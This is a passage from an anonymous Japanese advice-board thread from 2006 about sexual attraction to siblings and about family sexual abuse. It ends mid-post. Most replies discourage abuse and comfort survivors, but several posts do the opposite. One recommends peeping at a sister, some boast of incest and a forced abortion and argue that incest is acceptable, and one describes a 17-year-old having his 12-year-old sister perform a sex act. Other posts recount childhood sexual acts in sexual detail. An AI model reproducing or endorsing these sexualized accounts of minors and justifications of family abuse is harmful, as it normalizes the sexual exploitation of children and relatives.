時間置くと後悔する可能性のほうが絶対高い（お互い相思相愛ならわからんけど）
ましてや親等にばれたらもう一生元の関係には戻れない。
家族に興奮なんかしないって奴もいるがそれは違うと思う。だからそんなにおかしくは無いが
一時の快楽の為にやると人生に多大な影響を及ぼすトラウマになるから（当然妹も）
やめたほうがいいかと、ばれずに覗き位で我慢しとけ
132:マジレスさん
06/11/17 13:37:00 BZ2hPZ8s
>>131のいう通り。
ある程度性的な目でみてしまうのは正常な発達の範囲内だが、実際に手を出したり、覗きが妹にバレたりすると、ほぼ間違いなく死ぬまで嫌われるぞ。
妹の精神壊して、自分もボロボロになりたいならすればいいさ。
133:130だよ
06/11/17 15:05:08 7V2oKIFI
妹とは喧嘩ばかりだからできないよ。覗き興味ないし。このスレ見てしたくなっただけで。一回だけでいいからどんなもんなのか興味があって。それで今考えてるのが頼み込んでみようかと。一回だけお願いしますって。妹は俺に借りがあるから一回だけならいけるはず。
134:マジレスさん
06/11/17 21:01:13 BZ2hPZ8s
>>133
弱味につけこんでヤラせてもらうなんて情けないヤツだな。
そんなんでセックスしても後で後悔するだけだ。
将来、罪悪感のない気持ちがいいセックスをしたいなら止めておけ。
ちゃんと好きな人が出来た時、妹を脅して関係を持って事を死ぬほど後悔して自分を呪う事になるぞ。
135:マジレスさん
06/11/18 19:37:43 sDLEXTEl
家族に性的虐待をしておいて自分は「悩んでます」と自分も被害者みたいな
態度に腹が立つ。
もし、性的虐待をしたのならその家族の前からいなくなるべき。
性的虐待を受けたほうは精神が崩壊して何をしても幸せを感じれなくなる。
表面では普通でも内面はもう狂っている。
本当は相手に死んでもらいたいけど、それが無理なら
目の前からいなくなって欲しい。
でもこの世のどこかにいると思うとそれだけでも気が狂いそう。
136:マジレスさん
06/11/18 20:21:06 sQ67dxPs
可愛いグラドルの兄弟ってどうなんだろ。誰が見ても認める可愛さの姉、妹なら肉親でも欲情すると思う。
よく家族内で欲情はしないと言うが…それも事実だろうけど、
高レベルな容姿だったら欲情する場面が幾度とできると思う。
137:悪エリアス ◆cXbIjoZ0bQ
06/11/18 22:01:01 TmOgRv3e
>>75ワロタｗ
138:マジレスさん
06/11/19 00:10:03 GrDrx+Rp
あたしは16歳で、兄は19だけど久しぶりにこの間、一緒にお風呂に入ったよ。
前までは一緒にお風呂に入るなんて考えらんなかったけど、時が経つ連れて落ち着いてきた模様。
妹が離れてっても、また何年かすれば元通りになれるよ多分
139:マジレスさん
06/11/19 01:10:45 X9gBLLOp
俺が小さい頃、２歳上の姉と家にあった大きな段ボールの中で遊んでたら、
なぜか姉にお尻を舐めさせられてました。
性器が中まで丸見えであることも気にせず、長い間舐めてました。
今では無かった事になってるけど、思い出すと何か胸がむかむかします。
何故あんな事をしのだろう…
140:マジレスさん
06/11/19 01:19:37 tVlViDhh
>>135
君は犯罪者は排除したら世の中がよくなると考えているのかな？
悪を排除しても、綺麗な世界にはならないよ。
犯罪を犯す人間の動機をちゃんと知り、ケアしなければ被害者はいなくならない。
被害者のために、加害者がなぜ罪を犯すのか知らなければ、
被害者を減らす事はできない。
でもな、実際の被害者にそれをしろというのは、
ほとんどの被害者にとって無理だと思う。
だから、あなたはこの板を見ない方がいい。
加害者が死んでも、憎しみが無くならない。
死んだ事によって仏になった人間を、憎んでも憎みきれなくなるだけだ。
そんな釈然としない怒りと憎しみを無くす為にも、加害者と被害者の橋渡しは
必要になってくると思う。
それを望まずに、苦しみ続ける被害者がいることも分かっているけれどな。
141:マジレスさん
06/11/19 01:21:24 tVlViDhh
>>138
人によるだろう。
一方が一緒に入る事を勝手に望んでいても、一方がそうしない人だっている。
自分が望むように人が動かなくても、幻滅したり責めたりしないこったな。
142:マジレスさん
06/11/19 01:26:34 tVlViDhh
>>139
そりゃムナクソ悪くなるな。
子供が性的なものに関心を示すのは健全な発達なんだが、
明らかに力関係が上のものから下のものへ強要するのは、
虐待の範囲内に入るんだよ。
ま、子供が性に興味を示すのは大人の意味合いとは違うものだから、
姉さんはそこを舐められるとただたんに気持ちがいいと思ってさせた事だったんだろう。
それが悪い事だと明確には知らなかったんだろうがな。
嫌な事思い出しちまったな(´･ω･`)/ ﾖｼﾖｼ
なぜあんなことをしたのかと、自分を責めない事な。
しなければ嫌われるとでも思っていたのかもしれないんだから。
子供がちゃんとされたくない事を拒否するのって、ほとんどの場合は無理なんだからさ。
143:マジレスさん
06/11/19 19:13:01 IJFzMF9D
>>138
お兄ちゃんが嫌って時期あった？
144:マジレスさん
06/11/19 19:21:55 +6NABf7S
妹に頼もうと思ったけど言えなかったよ。もう諦めるかな。絶対軽蔑されそうだしね。
145:マジレスさん
06/11/19 23:55:03 tVlViDhh
>>144
お、思いとどまったか。
おまえイイ男になるよ。
言ったら軽蔑っていうかゴキブリ以下認定だな。
お前に将来彼女が出来たら「昔おにいちゃんにヤらせてって言われた」
といわれて破局、なんてことになる原因を作らなくてよかったじゃないか。
146:マジレスさん
06/11/20 00:54:01 QpKnBu+N
>>143いや別に？
まぁ、一時期だけどお互いに愛撫をしあった事のある仲だからね。
…普通の兄弟とは少しズレてるかも。
>>144思い止まって正解。もし頼んでみようものなら、一生避けられてしまうよ。
147:マジレスさん
06/11/20 01:13:18 UaJY+mrq
小５の頃2つ上の姉に…されたんだが
気持ち良くなって射精してしまったので
なんとなく未だ誰にも言えない。
まあもう言うもんじゃないか。
148:マジレスさん
06/11/20 02:17:52 nUSTYhsR
姉が悩んでるかもな
149:マジレスさん
06/11/20 10:55:49 BYzinMp6
いい男になれればいいけどね。まあとりあえず妹を性的な目で見るのはやめる。19で若いから触ってみたいとか正直あるが家族とは一生付き合わないといけないし。いい女を探すよ！
150:マジレスさん
06/11/21 00:10:46 8BczarkK
>>147
気持ちよかったからと、罪悪感を抱かなくてもいい。
それは生理的な体の反応なので、
実は自分が望んでいたんじゃ…なんて事は絶対にない。
ほっぺたをつねると痛いだろ？
そういう生理的な当然の反応なんだよ。
小５なんて、性器の摩擦もほとんどない頃だろう。
そんな時にされて、射精しないなんて事が無理。
だから、君が悪いわけではない。
君にとって人に言うようなものではないかもしれないが、
それによって苦しんでいるのなら、
言った方がいいんじゃないかな。
君は悪くないよ、嫌だったな (´･ω･`)/ ﾖｼﾖｼ
151:マジレスさん
06/11/21 00:13:13 8BczarkK
>>149
人の気持ちを考えて、好きな人との関係を大事に考えていけばいい男になるよ。
今回思いとどまる勇気を持てたんだから、君は素敵な男になる。
そして、素敵な女性と出会えるよ。
152:マジレスさん
06/11/21 19:43:22 1j58lrZB
私は17で弟が16です。最近弟の態度がおかしくて、妙に体を触ってきます。勘違いかと思ってたんですけど昨日は服の中に手を入れられました。弟は好きだけど正直言って今は怖いです…弟は何を考えてるのでしょうか？皆さんの考えを聞かせて下さい。
153:マジレスさん
06/11/21 19:46:10 i9puTdE6
そりゃもちろんあんたとやりたいと思ってるに決まっとろーが
毅然とした態度で臨むがよろし
154:マジレスさん
06/11/22 00:12:11 XuRXtIhQ
>>152
ちゃんと「嫌だ」と意思表示した方がいいよ。
そういう事は姉弟ですることが不快だと、伝えてられないかな？
なんとなく言い出せない、そのうち止めるだろう、と思っているならそれでもいいけど、
何かあった時のためにも、言葉で拒否したほうがいいんじゃないかな？
怒るっていうんじゃなくて、そういう事をされると悲しい、と伝えててはどうかな。
155:マジレスさん
06/11/22 16:59:52 EB+bBzjX
>>152
ひじで顔面殴ってやれよ
156:マジレスさん
06/11/22 18:04:39 WHd7NOFy
>>152です。レスありがとう。参考にして今度注意してみたいと思います。やめてほしい、などの意志表示をするつもりですが、弟が傷付かないか心配です…
157:マジレスさん
06/11/22 18:50:56 t3Hi3RjH
傷つけないか心配するのもいいが情に絆されてつい許してしまった・・・なんて事にならんようにな
もしそうなるとあんたが将来精神的におかしくなるかもしれんぞ
見たところ弟はあんたに恋愛感情があるわけではなく単にヤリたいだけのようだ
勘違いさせずはっきりと断り突っぱねるべし、それが後々は弟の為にもなる
158:マジレスさん
06/11/23 03:20:52 SEXhMB1G
昔私が小１で兄が小３頃に両親が共働きでよく寝る前兄のあそこをおもしろくていじっていました。ある日オマエのも触らせてよと言われ気持ち悪くなりやめましたが今だにその頃を後悔し気持ち悪いです…記憶を消したい
159:マジレスさん
06/11/23 03:31:05 OVcodBQy
それは過去の自分の行動を気持ち悪いと言っているのか
それとも兄の行動が気持ち悪いと言っているのか
幼いとはいえ自分から始めた事だからな
前者ならばともかく後者ならば自己中と言われかねんぞ
はてさてどちらか
160:158
06/11/23 06:31:57 SEXhMB1G
159ｻﾝ自分自身が気持ち悪いし消したい過去です…今は兄とは話もしませんが昔は親にかまってもらえない分、兄にかまってもらってた気がします、ほぼ暖かい思い出ですがあの記憶のせいでたまに悩みます…
161:マジレスさん
06/11/23 12:55:00 q8Bcvlqt
いくら過去の自分の行動を悔やんでも薄れこそすれ完全に記憶が消える事はないだろう
ならば兄と普通に話しをし笑いあえる関係に戻すしかないんじゃないかな
兄との楽しい思い出が増えれば嫌な過去を思い出す事も少なくなるしそれしか方法がないのではないかと
兄と話しをしなくなったのは過去を思い出すから？それで避けるようになったとか？
今のままでは何も変わらないと思うよ
兄が昔かまってくれてた優しいままならばもう一度仲良くなれるように頑張ってみてはどうかな
162:マジレスさん
06/11/24 00:17:33 n7eQtg+B
>>158
一言、謝りな。
それだけであなたの気持ちは変わるよ。
謝るという勇気をあなたが持てるなら、あなたの罪の意識は変わる。
やった事を自分だけで悔やんでいても、それがあなたの中のみで
ぐるぐるまわっているだけなら、悔やみ損だよ。
悔やむことは外に出されてこそ、悔やむ意味があるんじゃないかな。
>>161が書いているように、自分のしたことを悔やんだって消えはしない。
自分の過去を悔やんで認めて、ケジメをつける事が
あなたが兄にしたことに責任をとるということではないのかな？
子供が性的な部分に興味を持つのは別に罪悪感を持つようなものではなく、
ごくごく当然の発達の過程なんだ。
ま、その過程で他人に対して性的な興味を示してしまった場合、
後に悩む事もある。
それが君だね。
悪かったと思うならば、誤りなよ。
163:マジレスさん
06/11/24 01:00:24 2BpguD0A
昔、寝ている妹にいたずらをしていた。
妹は寝たふりをしていて我慢していたはず。
今では普通に会話をしてるが、
実際はどう思ってるのだろうか・・・。
164:マジレスさん
06/11/25 01:31:11 lqu6fpNw
>>163
謝るのは勇気がいるよな。
でもな、謝るのは君のためでもある。
たとえ妹が許してくれなくても、君自信がした事の責任を取るのが
やってしまったことへの償いだよ。
恐らく妹は覚えているだろうね。
子供時代に性的興味を持つのは普通の事だけれど、
それを自分以外へぶつけてしまったのなら、
例え子供の頃の事とはいえ、ちゃんと自分で責任とりな。
罪悪感で押しつぶされそうになる前にな。
165:マジレスさん
06/11/25 13:21:32 6s0BTD0C
いや、妹だって忘れたい、思い出したくないような事をいちいち
ほじくり返して謝罪するなんてかえって残酷で迷惑な事だ。
謝って過去を清算すれば163は救われるかもしれないが、
贖罪より罪から逃げたいだけで妹を苦しめるような残酷な事はしないで欲しい。
みつお
166:マジレスさん
06/11/25 18:26:39 lqu6fpNw
>>165
その意見も分かるがな。
それは妹の気持ちを考えているようで、考えていないと思うんだ。
謝るっていうのはな、自分の為であり相手の為でもあるんだよ。
加害者に罪の意識を軽くさせたくて誤れと言うんじゃない。
謝るというよりも、罪を認めるという方が分かりやすいかもしれないな。
穿り返されたくなくても、そのことを考えて精神を壊している人が沢山いる。
そしてそういう人達は、加害者が罪を認めることなんて絶対にないと思っている。
そして絶望している。
澱んだまま死ぬまでそれを背負って生きていくなら、
どこかで投石しなければ、何も変わらない。
相手の為に謝る勇気を持つことが、全ての加害者に必要な事なんじゃないのかな？
犯罪被害者の気持ちを具体的に知りたいなら、
「弟を殺した彼と、僕。」という本を読むといい。
167:マジレスさん
06/11/26 20:41:25 JTZZbWYq
妹が好き過ぎて毎晩妹を抱っこしてないと寝られない。
168:マジレスさん
06/11/27 23:05:09 w202DtJC
>>166
いや、その思考は一人善がってるって言うか、おたく個人の倫理観でしょ？
いまさらの謝罪は被害者にとっちゃかえって迷惑っていうか…
真実を言う事が、倫理的に正しい行動が、何時なんどき如何なる状況においても
正解だと言い切れるだろうか？俺は状況にもよると思うんですけど。
169:マジレスさん
06/11/27 23:49:58 WUoWKqHH
>>168
そうんだな、状況によるだろう。
で、>>166の考え方も一つの考え方だろうよ。
報道だろうが書籍だろうが掲示板だろうが、
各々の意見は発信する側の主観だろ。
だから別にそれが正しかろうが論理的だろうが、
最終的に自分が判断する材料にすればいいんじゃねーの？
君が言うように被害者にとって迷惑かどうかも人や状況によって違うだろうし、
本人に聞いてみない事には最終的にはどっちがいいかなんて分からんよ。
そうやって悩んで苦しんで自分なりの解決方法を見つけていくんじゃないのかな。
性的虐待の問題だろうが、全然関係のない問題だろうが、そういうもんだと思うぞ。
って書いてる自分の意見も主観なので、これを見てどう判断するかは自分次第だろうな。
色々なものをみて、色々な意見を聞いて、そうやって自分の判断材料にするんだから、
様々な意見があっていいと思うがな。
170:マジレスさん
06/11/28 00:25:23 /SKDiE3E
>>169
>>163を見る限り、
①、兄妹間で過去はともかく現在は通常の会話等コミュニケーションが成立している事
②、①の条件下でも、>>163は妹が「どう思っているか分からない」事から、その会話が
普段行われないだろう事
③、②から推測するに、また世間一般の倫理観に照らし合わせるに、その会話は
兄妹間で永くタブー的な話題になっているであろう事
④、③の条件下でも>>163は、「妹は寝たふりをしていて我慢していたはず」と薄々「空気」
を察知している事。
⑤、掲示板に過去の罪を告白する時点で、>>163は既に自分の罪を悔いているであろう事
上記の状況を鑑みて判断し、蒸し返しは不要かと。
171:マジレスさん
06/11/28 08:21:41 6IGCweam
>>170
家庭内の多くの秘密がそうやってタブー視されて発酵しすぎて腐っていく例もあるがね。
ま、妹が精神の病にでもなった時に考えればいいんじゃねーの？
聞けなくて言えなくて苦しんでる被害者もいるって事だけわかってりゃいいスよ。
見せかけの平和がどれだけ苦痛か、表面では普通にごく普通に振る舞う事がどれだけ精神を蝕むか。
汚された自分は誰からも愛される資格がないという間違った恥による自己評価の低さ。
我慢していて何も言えなかった自分のふがいなさで自分を責める。
加害者が何も覚えていないような顔で幸せになるのを見て、何で自分だけこんなに苦しまなきゃいけないんだ！
って考える人間もいるからねぇ。
あーあと自分の中でも悔いたところでそれは自分のみで完結した一番卑怯な反省だと思うがな。
そんなもん勝手にされても被害者には分からんがな。
便所の落書きで罪を悔いたとこれで「ハァ？」ってのと同じだろう。
悔いて態度で優かろうが、言葉にせんとわからん。
そんなもんはただの傲慢。
172:ん
06/11/28 08:33:40 Y2qvmPKN
>>171
思いやりの無い人ですね
173:マジレスさん
06/11/28 11:19:18 ykMoIvGn
俺も、小学生の時 妹と風呂に入ってて、ちんちん舐めさせたことや
勃起したちんちんをあそこに擦りつけたことがあります。
10年経ってるが妹は、覚えてるのだろうか
174:ん
06/11/28 11:27:49 Y2qvmPKN
>>173
５歳の時にあそこに色々ﾓﾉを突っ込まれた女の子がいました
はっきり覚えてたそうです
175:マジレスさん
06/11/28 11:35:30 ykMoIvGn
妹に欲情しない奴の気持ちがわからない。
だって、女だよ？
女のフェロモン出してるし、胸の膨らみもあるし、
勃起したものを入れるアレもあるんだよ？
ただ、妹とというだけで体は女だし
兄の精液を挿入したら妊娠もする。
176:マジレスさん
06/11/28 11:45:02 ykMoIvGn
↓
俺は中学生の時とか社会人の姉とやりまくってたけどな。
ゴムつけてないから、妊娠させて堕胎させたこともある。
なぜ、姉や妹とセックスしてはいけない？
したら射精するし、妊娠もする。
女だからでしょ？
じゃあ、恋愛対象や性の対象にしていいんじゃない？
一番近くにいる年も近い妹や姉に欲情しない奴は男じゃないんでない？
だって姉は優しいしお世話になってるから、
セックスで気持ちいいことしてあげてお礼させてもいいんでない？
177:マジレスさん
06/11/28 11:54:16 ykMoIvGn
↓
姉は社会人だからいつもゴムつけないで
中に射精しちまうけど
妹とはまだセックスしたことないけど、
することになったらゴムつけるだろね。
堕胎のお金がないから。
オナニーして無駄に精子捨てるより、
妹でも姉でも、気持ちいいことして射精した方が
仲良くなるし、無駄にならないんじゃない？
178:マジレスさん
06/11/28 12:05:15 CcN3dydr
ちょっとこのスレ読んでて不思議に思った。
私は高校生で、社会人の兄がいるけど、恋慕の情やら欲情とか一切感じたことない。
兄も同様。お互いの裸体にも興味なし。私は普通に兄の前でもパンツ見せれるし、その度にきたねー尻みせんなって笑われる。
そりゃ、悪友の様な関係だし。二人でげらげら笑い合ったり、普通にお互い屁こいたり鼻ほじったりしてたらそんな感情沸かないと思うけど。
普通の兄妹像ってこんなものじゃないの？
私が男勝りで口が悪いせいもあるかもしれないけど。これでも学年ベストガールとった容姿。
母も美人顔で父はおらず、三人暮らしだけど仲良く時には喧嘩しながらぐだぐだやってるよ。
だから兄弟・家族に対してそういう感情持つのって私には理解できない。
179:マジレスさん
06/11/28 12:06:05 oadtFBSF
>>177
鬼畜な考え方…心底恐ろしい。
>>177は悩んでないみたいだし
スレ違いじゃないの？
180:マジレスさん
06/11/28 18:27:14 TZQSdM+b
>>178
それが普通なのかなぁ…
俺は本当に妹が大好きで妹のためならなんでも出来るよ。
妹を助けるには俺が死ぬしかないって言われたらたぶん死ねる
181:マジレスさん
06/11/28 18:30:57 dloqGyUv
愛を行動に移してなにが悪いのか？
「苦難の日には私を呼び求めよ。わたしはあなたを助け出そう。」
[聖書]詩編５０:１５
わたしの目には、あなたは高価で尊い。
わたしはあなたを愛している。
[聖書]イザヤ書４３:４
子どもたちよ。私たちは、ことばや口先だけで愛することをせず、
行ないと真実をもって愛そうではありませんか。
[聖書]ヨハネの第一の手紙３：１８
182:マジレスさん
06/11/28 18:42:52 yWvH1kKH
ガキの使いのトークみてたら 松本ひとしもお姉ちゃんの着替えのぞいてたって
浜田はまったくないってさ
人それぞれってことだね
近親相姦までいくのは人それぞれじゃすまされないけど
183:マジレスさん
06/11/28 20:01:56 R6n2J/aH
一番遺伝子が遠い黒人とかパプア人に萌えるやつ居る？
184:マジレスさん
06/11/28 22:36:37 YfCj8D4P
>>178
オレも妹を恋慕の目では見れないぞ。
女性というよりは同士。それが大多数の家族の姿なんじゃないかな。
しかしながら人間１００人いれば１００人分の考え方が違う人間がいて
人それぞれだから、恋慕の目で見る奴がいてもそれを責めることは出来ない。
相手の気持ちを無視して強制実行したら責められても仕方ないと思うが。
昔は自分も>>180のように「妹を守る」と考えていたが、お互いに好きな人が出来、
守る役目は彼氏にまかせたな。
オレは嫁と子供で手一杯だ。
そうやって人間同士の関係が時の流れと共に変わっていくのが人間だろうよ。
>>181
聖書での愛とセックスは違うだろう。
そもそも聖書はマリアの処女受胎からして明らかなように
セックス含めた性的な接触事態を全て悪としているのに
なぜに聖書を持ち出すんだ？
書きたかっただけか？ﾌﾟｯ
185:マジレスさん
06/11/29 10:29:17 /iQp58tV
妹がどうのこうの言ってる奴はエロゲ好きの脳内も多そうだな
186:マジレスさん
06/11/30 07:45:32 p0gpMpEP
脳内なら、その方がいい。
187:マジレスさん
06/11/30 12:13:08 eSyOSiA2
これでも学年ベストガールとった容姿。
188:マジレスさん
06/11/30 12:15:51 eSyOSiA2
これでも学年ベストガールとった。ベストガール。
ﾌﾟｹﾞﾗｯW
これでも学年ベストガールとった容姿。
189:マジレスさん
06/11/30 13:07:32 7hSrrNFz
今、安全日の姉貴に中出ししてきた。
マジで巨乳だし、顔はカワイイし最高だ。
身内でも容姿が良ければ欲情するのは当然だよ。
オレは従姉妹や伯母も犯したしね。
190:マジレスさん
06/11/30 13:42:05 Be2tUvHs
漏れ17妹12
フェラさせた
漏れ氏んだ方がいい？
191:マジレスさん
06/11/30 14:00:02 QsVxp+gL
妹さんにトラウマのようなものが残らない事を祈るだけだね。
人間社会には物理的には出来るが絶対してはいけないという禁忌が存在する。
例えば食人。
我々の社会では食人はタブーである。ゆえに遭難等をして生き延びるために緊急避難として食人をした者はひどい罪悪感に苛まれる。しかし食人の文化がある社会では罪悪感は生まれない。
そしてこの両者の違いは禁忌の有無にある。
それで話しは戻って、妹さんが成長した後に体験をどう解釈するかによりトラウマが生まれるか生まれないかが決まる。
だから生まれない方を願う。
192:マジレスさん
06/12/01 02:37:53 c3VQFGxz
父よ、あなたも苦しいだろう。いっそのこと、謝罪してくれたなら、許すつもりだよ。キレるかもしらんが。そのほうがお互いやりやすいっしょ。
193:マジレスさん
06/12/01 03:01:24 gxecxpZA
>>189
毎回妄想乙ｗ
194:マジレスさん
06/12/01 22:19:12 0C0CKCft
>>192
どうした？
195:マジレスさん ◆yrdMRJ3yZw
06/12/01 22:28:12 vbAs52vP
>>189
それ何の自慢にもなんねーよ
196:マジレスさん
06/12/04 19:40:05 VLWajgRR
苦しいねぇ…
197:マジレスさん
06/12/07 07:55:37 fFMle4ap
ﾎｼｭﾎｼｭ
198:マジレスさん
06/12/11 07:43:04 TKtbWtWN
あー！
199:マジレスさん
06/12/11 08:03:35 3y7lSiip
カズの家をヤフーで検索
200:マジレスさん
06/12/11 10:05:17 PryoHeO0
なんだこのスレは((((;ﾟДﾟ))))ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ
201:マジレスさん
06/12/12 21:09:47 Y34+5RtZ
>>200
その反応が普通。
ここを見て不快に思った人にお願いがある。
もしもこれから先、家族からの性的搾取に合った人に出会った時に、出来れば拒否しないで話を聞いてあげて欲しい。
家族間の性的虐待は特別なものじゃなく、存在するって知って欲しい。
202:マジレスさん
06/12/12 21:24:58 MMo1nG/R
いや・・・特別でしょ、虐待は・・・
203:マジレスさん
06/12/13 07:59:32 OJNsrtsn
特別だけど一般人が考えているより多いよ、虐待。
性的虐待だって同じ。
虐待された本人が大人になっても話さないだけで、表には出てこない完全犯罪なのさね。。
虐待なんて特別な事で自分には関係ないﾓｰﾝ(゜∀゜)
と思ってるうちは人の家の虐待なんて気が付かんがなー( ´_ゝ`)
204:マジレスさん
06/12/13 08:11:27 hgDPse3m
昔 姉貴と触り合いしたけど７年もたったから大丈夫。普通に下ネタとか姉貴と話すし。
205:真由
06/12/13 10:17:51 ysYyKi8a
小学校４年の時に小６の姉に性的なことをされた。。。
それいらい女の仔なのに女の仔が怖い
やられたほうゎ一生記憶に残ってる、
206:マジレスさん
06/12/14 23:30:15 3stzNR4V
>>205
釣りだと思うが、うざい。
207:マジレスさん
06/12/14 23:57:55 t1W0C41/
最近、コテでもないのにわざわざ名前書く椰子いるよね
釣り乙
208:マジレスさん
06/12/15 01:03:12 EnolDYwc
何で名前書くのかね？
自己主張？にちゃんで？ﾌﾟｯ
>>205
一応釣りじゃないという仮定で。
君のようにずっとシコリに思う子もいる。
>>204のようにそうでない子もいる。
人それぞれだから、必ずしも全員が苦しむとは限らないんだよ。
子供の性的興味は、正常な発達にだからね。
あなたがその時の記憶で色々生活に障害が出ているなら、
病院に行くなりちゃんと対処したほうがいいよ。
209:マジレスさん
06/12/15 01:43:56 EbxUtkZC
あほ！こんなスレたてんなよｗｗ自演だろほとんど
210:マジレスさん
06/12/15 02:42:00 HLSp0/Hj
今日誕生日なんだ(*´Д`)祝ってケれー。。。ｱﾋｬﾋｬ(ﾟ∀ﾟ≡ﾟ∀ﾟ)ﾋｬﾋｬ
211:マジレスさん
06/12/15 08:28:31 Lo9GTD1F
>>210
おめでとう～ヽ(´ー｀)ノ
212:マジレスさん
06/12/15 19:16:34 HLSp0/Hj
>>211
ありがとう｡･ﾟ･(ﾉ∀`)･ﾟ･｡
213:マジレスさん
06/12/17 21:15:43 GMdTmFaG
自作自演だったらいいんだけどねぇ…ﾊｧ～(´Д｀)
214:マジレスさん
06/12/18 18:48:39 Y7l2T5Zm
スレチで申し訳ないのですが、もし、よろしければ教えてください。
20代前半の女性が着てもおかしくなく外出も可能な服装で、全く女を
感じさせずむしろ萎える服装ってありますか？
近いうちに帰省しなくてはならないのですが、実家でもうこれ以上
嫌な想いをしたくないのです。
215:マジレスさん
06/12/18 23:50:57 ltcGjJ4S
>>214
最初に一応書いておくけれど。
あなたがどんなにがんばってみっともない姿をしようとしても、
その努力は無駄に終わり自分の無力さに絶望するだけの結果になると思うよ。
性的搾取を受けた子供は、自分が醜くなればそれが止むだろうと、
過食して太ってみたり、髪を汚く切ってみたり、醜い格好をする努力をするが、
その努力が実る事は、ほぼ無い。
それを念頭においておいてな。
自分が女性の格好で萎えるのは、ヒップホップ系の男性が着るような格好かな。
とは書いたものの、一番は実家に帰らないという選択肢をお勧めするが。
それは無理なのかな？
216:マジレスさん
06/12/19 00:14:24 bcd8CeIF
妹が俺の隣の部屋で彼氏とｾｸﾛｽ中でうるさい。
ｽﾚﾘﾝｸ(livebase板)
217:マジレスさん
06/12/19 10:34:28 K9ghpOuC
>>215
ありがとうございます。やはりそうなんですね。
私も今まで色々試してきましたが、何を着ても服の上から性的
な視線で見られて不快でした。母も隣にいるのに。
しかも汚すぎ、ダサすぎは母が自分の服を着せようとするので
いつも頭を悩ませていました。
過去、父からされたことは母に話していません。表面的には
「普通の家庭」なのです。帰省をしないためにはそれなりの理
由がいるのですが、それが無い上に学生で未だ就職の決まらない
私は肩身が狭いので、バイトとは言えませんし、学校は卒論が終っ
てしまったので理由になりません。帰らない選択ができたら本当に
いいのですが・・・。
ヒップホップ系、参考にさせていただきます。
確かに体の線でなくて良さそうですね。
ありがとうございます。
長文でしかもスレチすみませんでした。
218:マジレスさん
06/12/19 14:32:01 ANdH6xND
>>217
スレチが気になるなら、反対の立場からの類似スレが某所にあるんだけど見付けきるかな？
ま、あんまりここ人いないから、ここでもいいのではないかと。
帰らない理由付けは、帰りたくないからじゃ無理かな？
てか、理由は就活でいいんじゃないか？
帰る事に義務感を持たなくていい。
友達が熱出してぶっ倒れたとか、適当に嘘ついて帰らない方があなたの為だ。
あなたが我慢しすぎて壊れないかが心配だからさ。
219:マジレスさん
06/12/20 21:53:57 FEmtNlOD
>>218
温かいお言葉ありがとうございます。
実は類似スレも同時にみつけていて、どっちもスレチな気がして
どっちに書き込もうか悩んだ結果こっちにしました。
萎えるっていう感覚は男性にしかわからないかなと思ったので。
帰らないほうがいいって言っていただけて安心しました。
学費や生活費も出してもらっているのに帰省したくない
という気持ちに対して罪悪感もあって。
このまま就活しつつズルズル居続けようと考えています。
ありがとうございました。
220:マジレスさん
06/12/20 22:21:42 Nw/fKkkn
髪が思いっきり短かったりすると萎えるなあ
221:マジレスさん
06/12/20 22:55:26 cVJM2lum
ボウズとか。
そりゃ無理か。
確かに短すぎると萎えるが、ウナジに萌えられる事はないか？
そんなｵｲﾗはウナジ萌え。
222:マジレスさん
06/12/21 01:14:44 8QZgVPDK
一人っ子だからすごい疑問に思うんだけど、姉妹に欲情するものなんだ？
実際に行動に出るかどうか＆そのことに自己嫌悪を覚えるかどうかは別として。
223:マジレスさん
06/12/21 23:38:53 rK7td1df
私も小学生のときいたずらされました。とても痛かったので処女でいれたことが救いですが、あの時のことは一生忘れない。
今私は家で、兄と二人きりになるのが嫌だし、触れたくもない。すれ違うのも嫌だし、話もしたくない。
早く出ていってくれ。早く解放されたい。
224:マジレスさん
06/12/21 23:45:10 0Q+IsCKT
>>223
気持ち悪かったし、怖かったよね、(´･ω･`)/ ﾖｼﾖｼ
あなたがされたことは「いたずら」ではないんだよ。
「いたずら」なんて言葉で済ませられない、明白な犯罪行為なんだから。
あなたまだ学生？
自分で出て行く事は出来ないのかな。
もしも、一生自分の中で閉じ込めておくのにたえられないのであれば、
一回ぐらいはブチキレていいんじゃない？
ひどいことされたのに、いい子ちゃんでいる必要なんてないんだよ。
いいかい、我慢しすぎてはいけないよ。
それから、あなたは穢れていないからね。
誰もあなたを穢す事なんて出来ないんだから。
225:マジレスさん
06/12/21 23:51:57 OAx8grEd
まず母親に相談する。誠意のある母親なら父や兄を責めるし
対策を考えてくれる。ここで父や兄を擁護する母なら、イラネ。
学校の先生に相談する。この相談時には小型の録音機で録音。
先生もめんどくさがってスルーしたら、録音テープを持って
児童相談所へ。「ここでも聞いてくれなかったらマスコミに」と忠告する。
テープは予備が必要。ダビングしておく。おとなは平気で没収して
何もなかったことにしたがるから。
でも犯罪なんだから、父や兄が罪も感じずにのうのうと笑って暮らすのは
不公平だと思う。
226:マジレスさん
06/12/22 07:54:29 1VDVspOy
>>223
自分が我慢していれば家庭も壊れず無問題、だと思っているとするならば、それは違うよ。
早い所あなたの治療を始めなければ、先になって後悔する事になる。
>>225が書いているような対処はできないかい？
心が死なないうちに、行動する事をおすすめするよ。
227:マジレスさん
06/12/23 02:22:43 nILRN+sr
223です
みなさんありがとうございます。こんなに暖かく返事頂けるとは思わなかった。最近は、なんでも我慢することに慣れて、既に心は死んできてます。
やはりトラウマで我慢体質になってるんでしょうか…
悩みがあるのは皆同じだから、あまり人にグチグチとうちあけられません。周りにも誰に悩みを打ち明ければいいのか…話したとこで結局動くのは自分なんだから、話してもしょうがないとか、明日になればきっと元気でやれるだろうとか…ごめんなさい、ひねくれてますよね。
228:マジレスさん
06/12/23 13:46:30 a79I6BU9
そういった処世術を身に付けるしか選択肢がなかったんだろうから仕方がない
リアルで相談できないのならここで想いの丈をぶちまけてそれで少しでも貴方が本来の自分を取り戻すのならそれでいいじゃないか
なんとかいい方向に進めるように願ってるよ
229:マジレスさん
06/12/23 20:39:50 p+JVlElb
父や兄からのセクハラは、わたしなら母親に相談する。
取り合ってくれないとか、打ち明けたら態度がむしろ冷ややかになった場合は
そんな母親、軽蔑に値するから、もう母親の望むことはなにもしない。
縁を切ってもいいくらいだ。
悔しいから、勉強はしっかりやって親の金で大学に行き就職もちゃんとする。
経済的に困ると、精神が病んでしまうことが多いから、お金に困らない大人になっておく。
そしていつか親戚一同が集まる場で、お酒でも入ったら、復習。
子供のころに父や兄にこんなことをされた、母は敵だとみんなの前で声を大にして
言う。自分に非はまったくないのだし、堂々と言う。
そして二度と親戚づきあいはしない。
韓国ではオッサンが殺されて、女が逮捕されたが、その女は子供のときに
